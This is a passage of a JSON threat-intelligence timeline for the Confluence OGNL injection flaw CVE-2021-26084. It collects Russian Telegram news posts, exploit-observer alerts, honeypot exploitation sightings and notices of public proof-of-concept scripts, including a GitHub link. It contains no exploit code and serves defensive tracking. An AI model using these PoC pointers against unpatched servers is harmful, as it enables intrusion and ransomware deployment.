\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f 0day \u0438\u043b\u0438 1day. \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0433\u043e\u0434 \u0438\u043b\u0438 \u0434\u0432\u0430, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 PoC \u043d\u0430 Github, \u0434\u0430\u0432\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0442\u0447\u0430\u043c\u0438, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043b\u0438\u043a\u0432\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0441\u0438\u0441\u0430\u0434\u043c\u0438\u043d\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.  \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u0440\u0443\u0434\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u0432\u0441\u0435\u043c\u0438\u0440\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u0441\u0435\u0445 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f\u0445.\n\n\u0422\u043e\u043f-12 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2018-13379 \u0432 Fortinet SSL VPN, \u0442\u0440\u0438 CVE 2021 \u0433\u043e\u0434\u0430, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 ProxyShell, CVE-2021-40539 \u0432 Zoho ManageEngine, CVE-2021-26084 \u0438 -26134 \u0432 Confluence, CVE-2021-44228 Log4Shell, CVE-2022-22954 \u0438 -22960 \u0432 VMWare, CVE-2022-1388 \u0432 F5 BIG-IP,  CVE-2022-30190 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Windows, MSDT.\n\n\u0415\u0449\u0451 \u0442\u0440\u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043e\u0442\u0447\u0451\u0442\u0435 (\u0430\u043d\u0433\u043b). \u0422\u0430\u043c \u0436\u0435 \u0434\u0430\u043d\u044b \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043f\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u044b:\n\n\ud83d\udd18\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd18\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd18\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0441\u0435\u0442\u0438\n\ud83d\udd18\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u0441\u043e\u0432\u0435\u0442\u044b @\u041f2\u0422", "url": "https://t.me/kasperskyb2b/786"}, {"timestamp": "2023-10-14T16:40:42Z", "date_only": false, "value": "2023-10-14T16:40:42+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2021-26084", "field": "timestamps.asserted_at", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-10-14T16:40:42Z", "date_only": false, "value": "2023-10-14T16:40:42+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2021-26084", "field": "timestamps.first_seen_at", "uuid": "cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-07T12:10:16Z", "date_only": false, "value": "2023-11-07T12:10:16.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/5052", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e338a949-3ba3-4f9f-be49-3d2fcb3ee75a", "content": "\u041a\u0430\u043a \u043c\u044b \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0438, \u043f\u043e\u0447\u0442\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Atlassian Confluence Data Center \u0438 Confluence Server, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a CVE-2023-22518 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,1.\n\n\u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 GreyNoise \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 CVE-2023-22518.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Rapid7 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Atlassian Confluence, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 CVE-2023-22518 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u0443\u044e\u00a0\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (CVE-2023-22515).\n\n\u0418, \u043a\u0430\u043a \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f - \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u043a\u0435\u0439\u0441 \u043e\u0441\u0435\u0434\u043b\u0430\u043b\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u043b\u0438 \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e Cerber \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0436\u0435\u0440\u0442\u0432.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0441\u0432\u043e\u0439 \u0444\u0438\u043d\u0442 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a CerberImposter \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u0436\u0435 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 Atlassian Confluence, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-26084.", "url": "https://t.me/true_secator/5052"}, {"timestamp": "2023-12-04T07:33:01Z", "date_only": false, "value": "2023-12-04T07:33:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1147", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "17bfabfd-c8b4-4fe0-843a-4a75af786ee5", "content": "#ExploitObserverAlert\n\nCVE-2021-26084\n\nDESCRIPTION: Exploit Observer has 153 entries related to CVE-2021-26084. In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\nFIRST-EPSS: 0.971530000\nNVD-IS: 5.9\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1147"}, {"timestamp": "2023-12-12T01:11:01Z", "date_only": false, "value": "2023-12-12T01:11:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1783", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d7463844-63a3-4d3d-a96c-f6001c2f0f63", "content": "#ExploitObserverAlert\n\nCVE-2021-26084\n\nDESCRIPTION: Exploit Observer has 153 entries related to CVE-2021-26084. In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\nFIRST-EPSS: 0.972300000\nNVD-IS: 5.9\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1783"}, {"timestamp": "2023-12-13T01:23:33.885Z", "date_only": false, "value": "2023-12-13T01:23:33.885294Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-04T10:40:01Z", "date_only": false, "value": "2024-03-04T10:40:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/beaverdreamer/28", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a8475495-cb7d-4d1e-9350-ff4f74ab6501", "content": "Confluence RCE Exploit - CVE-2021-26084\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 - Confluence Server Webwork OGNL injection.\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 - \u043d\u0430 \u0432\u0445\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 URL + \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0432\u0438\u043d\u0434\u0435 \u0438\u043b\u0438 \u043b\u0438\u043d\u0443\u043a\u0441\u0435. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0441\u0440\u043e\u0447\u043d\u043e \u043f\u0430\u0442\u0447\u0438\u043c\u0441\u044f!", "url": "https://t.me/beaverdreamer/28"}, {"timestamp": "2024-04-18T16:32:04Z", "date_only": false, "value": "2024-04-18T16:32:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7109", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f7b21d0a-1933-4351-911c-2cd36f5b61d6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aPython3 RCE PoC for CVE-2021-26084\nURL\uff1ahttps://github.com/Marshall-Hallenbeck/CVE-2021-26084_Confluence_RCE\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/7109"}, {"timestamp": "2024-06-18T15:52:07Z", "date_only": false, "value": "2024-06-18T15:52:07.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/6vhIC6ozTXEbCXB-hKi_7u2e9Qrw153yNUsgiifvdmg6dUaW", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "395e1237-d417-4d28-a625-cc4a7ebd7d2e"}, {"timestamp": "2024-07-30T09:15:03Z", "date_only": false, "value": "2024-07-30T09:15:03.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/fb8794e7-3965-40fc-ac5a-80fd9be85476", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4eaa0565-71a6-4577-9902-78f1b51c894a"}, {"timestamp": "2024-08-03T20:19:19.592Z", "date_only": false, "value": "2024-08-03T20:19:19.592Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-26084", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-24T00:00:00Z", "date_only": false, "value": "2024-10-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2d93fbf4-cf5a-43f9-bb59-7665c5305d2b"}, {"timestamp": "2024-10-25T00:00:00Z", "date_only": false, "value": "2024-10-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9f38530b-94a5-4f9e-bc3c-638153ce3826"}, {"timestamp": "2024-10-26T00:00:00Z", "date_only": false, "value": "2024-10-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3b4f89dd-ba77-4e87-b2a7-b8fb1c9ee5a6"}, {"timestamp": "2024-10-28T00:00:00Z", "date_only": false, "value": "2024-10-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "22ab2f03-7d3a-4548-8eae-a2c3994a3a7a"}, {"timestamp": "2024-10-29T00:00:00Z", "date_only": false, "value": "2024-10-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "33487087-d6ff-4c09-a85d-b46a74454aad"}, {"timestamp": "2024-11-01T00:00:00Z", "date_only": false, "value": "2024-11-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bfad0e28-b56d-4c2c-b0de-21dfaea9b0b5"}, {"timestamp": "2024-11-02T00:00:00Z", "date_only": false, "value": "2024-11-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "32e99296-0a6e-44ec-9dd5-b763a360498a"}, {"timestamp": "2024-11-03T00:00:00Z", "date_only": false, "value": "2024-11-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d2fc2d9d-5108-42e2-a988-555daff86dbd"}, {"timestamp": "2024-11-04T00:00:00Z", "date_only": false, "value": "2024-11-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fba86dd8-d19d-413f-a0fd-48f6814b0a2b"}, {"timestamp": "2024-11-05T00:00:00Z", "date_only": false, "value": "2024-11-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ef9f810b-54cc-4ba7-85f8-044dd858af7a"}, {"timestamp": "2024-11-08T00:00:00Z", "date_only": false, "value": "2024-11-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "806e70ef-5b6e-4631-b6d6-9a32a255dabe"}, {"timestamp": "2024-11-09T00:00:00Z", "date_only": false, "value": "2024-11-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "efcebdde-a16d-4748-a64c-f85dd4f5f1ff"}, {"timestamp": "2024-11-11T00:00:00Z", "date_only": false, "value": "2024-11-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2b8ac5f1-bfa8-4872-96c5-f407c0e9ac72"}, {"timestamp": "2024-11-18T00:00:00Z", "date_only": false, "value": "2024-11-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "adc6dbfd-c1de-4958-8676-e495dde4f708"}, {"timestamp": "2024-11-22T00:00:00Z", "date_only": false, "value": "2024-11-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "701502bf-8b28-4cd6-a4d8-d625bc8c0ec1"}, {"timestamp": "2024-11-22T00:00:00Z", "date_only": false, "value": "2024-11-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2024-11-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a43f2690-94b5-4786-ac57-997fe987fd90"}, {"timestamp": "2024-11-25T00:00:00Z", "date_only": false, "value": "2024-11-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e442815f-7e87-402e-85d1-38e9f737e1c9"}, {"timestamp": "2024-11-28T00:00:00Z", "date_only": false, "value": "2024-11-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-11-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8a6bdf3c-8960-48a3-bca4-b6071f93c95f"}, {"timestamp": "2024-12-01T00:00:00Z", "date_only": false, "value": "2024-12-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ffd49e29-9699-42c4-aab8-5838927efd58"}, {"timestamp": "2024-12-02T00:00:00Z", "date_only": false, "value": "2024-12-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d32ca762-6541-41fe-b675-a3521818df87"}, {"timestamp": "2024-12-04T00:00:00Z", "date_only": false, "value": "2024-12-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b762c88d-4621-4f1f-9870-bb054be07b5a"}, {"timestamp": "2024-12-08T00:00:00Z", "date_only": false, "value": "2024-12-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8c87d188-33e7-442b-9206-18800923d72b"}, {"timestamp": "2024-12-09T00:00:00Z", "date_only": false, "value": "2024-12-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f632bd56-058c-4e5d-8c72-fdd8b1c9a981"}, {"timestamp": "2024-12-10T06:56:21Z", "date_only": false, "value": "2024-12-10T06:56:21.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/pigPeter/295", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7448c1ee-632e-4ac6-93b5-4abcd6ffd34b", "content": "\u041a\u0442\u043e-\u0442\u043e \u0432\u0441\u0435 \u0435\u0449\u0435 \u043f\u043e\u043c\u043d\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043a\u0430\u043a \u0447\u0443\u0432\u0430\u043a \u0438\u0437 Hulu \u0441\u043b\u0438\u043b \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 Akamai XSS \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0442\u043e\u043f\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0438\u043b, \u0430 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u044b\u0434\u0430\u0442\u044c \u044d\u0442\u043e \u0437\u0430 \u0441\u0432\u043e\u0439 \u0440\u0438\u0441\u0451\u0440\u0447 \ud83e\udd26\u200d\u2642\ufe0f. \n\u0414\u0430\u043a \u0432\u043e\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f Confluence \u043f\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438 \u0431\u0430\u0433\u0443 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c RCE \u0447\u0435\u0440\u0435\u0437 SSTI (CVE-2021-26084). \u041c\u043d\u043e\u0433\u043e \u0447\u0443\u0432\u0430\u043a\u043e\u0432 \u043d\u0430\u0431\u0440\u043e\u0441\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u044d\u0442\u0443 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0442\u043e\u0431 \u0440\u0430\u0437\u0434\u043e\u0431\u044b\u0442\u044c \u043a\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443. \u0418 \u0432\u043e\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u043e\u043d\u0438 \u043f\u043e\u0431\u0435\u0436\u0430\u043b\u0438 \u0441\u043b\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0437\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u0441\u0435\u043a\u044c\u044e\u0440\u0438\u0442\u0438 \u0431\u0430\u0433\u0438, \u0438 \u0438\u043d\u043e\u0433\u0434\u0430 \u0434\u0430\u0436\u0435 \u043f\u043b\u0430\u0442\u044f\u0442 \u0437\u0430 \u043d\u0438\u0445. 